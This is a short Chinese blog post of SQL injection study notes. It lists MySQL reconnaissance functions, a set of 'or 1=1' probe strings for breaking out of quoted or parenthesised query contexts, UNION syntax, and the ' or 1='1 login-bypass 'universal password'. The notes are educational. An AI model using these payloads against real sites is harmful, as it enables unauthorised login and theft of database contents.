sql注入

发布于 2021-02-28  832 次阅读


常用函数:

1. version()——MySQL 版本

2. user()——数据库用户名

3. database()——数据库名

4. @@datadir——数据库路径

5. @@version_compile_os——操作系统版本

字符串连接函数:

1. concat(str1,str2,...)——没有分隔符地连接字符串

2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

一般用于尝试的语句:

or 1=1--+

'or 1=1--+

"or 1=1--+

)or 1=1--+ '

)or 1=1--+

") or 1=1--+

"))or 1=1--+

--+可以用#替换或者%23,用来注释掉

union语法

select column_name(s) from table_name1 union select column_name(s) from table_name2

默认union 操作符选取不同的值。如果允许重复的值,就使用 UNION ALL。

select column_name(s) from table_name1 union all select column_name(s) from table_name2

union结果集中的列名总是等于union中第一个 select语句中的列名。

万能密码:

select name,pass from data where name='admin' and pass='123456'

输入用户名:' or 1='1

SQL变成下面这个样子:

select name,pass from data where name='' or 1='1' and pass='123456'

1='1' 永远为真,所以就验证通过了


粉色的花瓣,美丽地缠绕在身上。依在风里。